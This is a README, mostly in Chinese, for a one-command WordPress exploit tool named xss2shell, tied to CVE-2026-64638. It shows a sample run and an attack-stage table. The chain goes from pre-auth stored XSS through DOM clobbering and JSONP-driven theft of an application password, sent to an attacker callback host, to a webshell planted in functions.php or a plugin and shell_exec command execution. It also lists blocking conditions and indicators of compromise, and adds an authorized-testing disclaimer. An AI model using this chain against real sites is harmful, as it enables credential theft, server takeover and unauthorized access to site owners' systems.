WordPress < 7.0.3 未对 wp-login.php 中的 log(用户名)参数进行清理。该值会被存储并渲染在管理员的已认证会话中——这是一个预认证存储型 XSS,只需一次点击即可链式利用,实现完整的服务器接管。
Victim clicks lure ---> XSS fires ---> App Password stolen ---> Shell planted ---> RCE
# Zero dependencies. Pure Python 3.
python xss2shell.py -t http://target.com -c "id"
[*] Target: http://target.com
[+] WordPress login found
[+] Listening on 192.168.1.5:9443
[*] Send this to the admin -> http://192.168.1.5:9443/
[*] Waiting for victim ...
[+] Victim opened the attacker page
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX
[+] Theme editor -> webshell in functions.php
============================================================
[+] RCE via theme
[+] $ id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
[+] Shell -> http://target.com/?xss2shell_cmd=whoami
[+] Done.
usage: xss2shell.py [-h] -t TARGET -c COMMAND [--lhost IP] [--lport PORT] [--keep]
-t, --target Target WordPress URL
-c, --command OS command to execute on the server
--lhost Attacker callback IP (default: auto-detect)
--lport Attacker callback port (default: random)
--keep Don't clean up artifacts after exploitation
| 阶段 | 操作 | 详情 |
|---|---|---|
| 1. XSS | 通过 wp-login.php 注入 | 精心构造的 log 参数利用 DOM clobbering(<area id=ajaxurl>)劫持 WP 的 AJAX URL,通过 JSONP 自动点击批准应用密码 |
| 2. 窃取 | 应用密码外泄 | authorize-application.php 静默创建应用密码;success_url 将其发送给攻击者 |
| 3. Shell | 写入 webshell(3 种回退方案) | 主题编辑器 → functions.php · 插件上传 → xss2shell/shell.php · 插件编辑器 → 现有插件文件 |
| 4. RCE | 执行操作系统命令 | Webshell 运行 shell_exec(),返回 JSON 输出,工具自动验证并清理 |
| 版本 | 状态 |
|---|---|
| WordPress < 7.0.3 | 存在漏洞 |
| WordPress >= 7.0.3 | 已修补 |
| 条件 | 影响 |
|---|---|
DISALLOW_FILE_EDIT | 主题/插件编辑器被阻止 — 仅 ZIP 上传可用 |
DISALLOW_FILE_MODS | 全部 3 种方法被阻止 — 无法 RCE |
| WAF(Cloudflare、Wordfence) | 可能过滤 XSS 载荷或 webshell 请求 |
PHP 中的 disable_functions | shell_exec 被阻止 — 输出为空 |
| 弹窗拦截器 | 破坏弹窗链 |
| 严格的 CSP 头 | 阻止内联 JS 或跨源 fetch |
如果 xss2shell 曾被用于攻击你的站点,请查找以下指标:
XSS2Shell-Poc-Wordsec 的应用密码wp-content/plugins/ 中的插件 xss2shellfunctions.php 或任何插件文件中的字符串 xss2shell_cmd/?rest_route=/&_method=GET&_jsonp= 的 JSONP 请求CVE-2026-64638 的每个公开 PoC 都止步于 alert(1),或需要分诊人员无法复现的手动步骤。本工具提供单条命令完成全链利用 — 从零认证到 RCE。为需要证据而非理论的安全研究人员而构建。
仅用于经授权的安全测试和教育目的。仅可针对你拥有或已获得明确书面许可进行测试的系统使用。未经授权访问计算机系统是违法的。
WordSec · CVE-2026-64638 · 已在 WordPress 7.0.3 中修补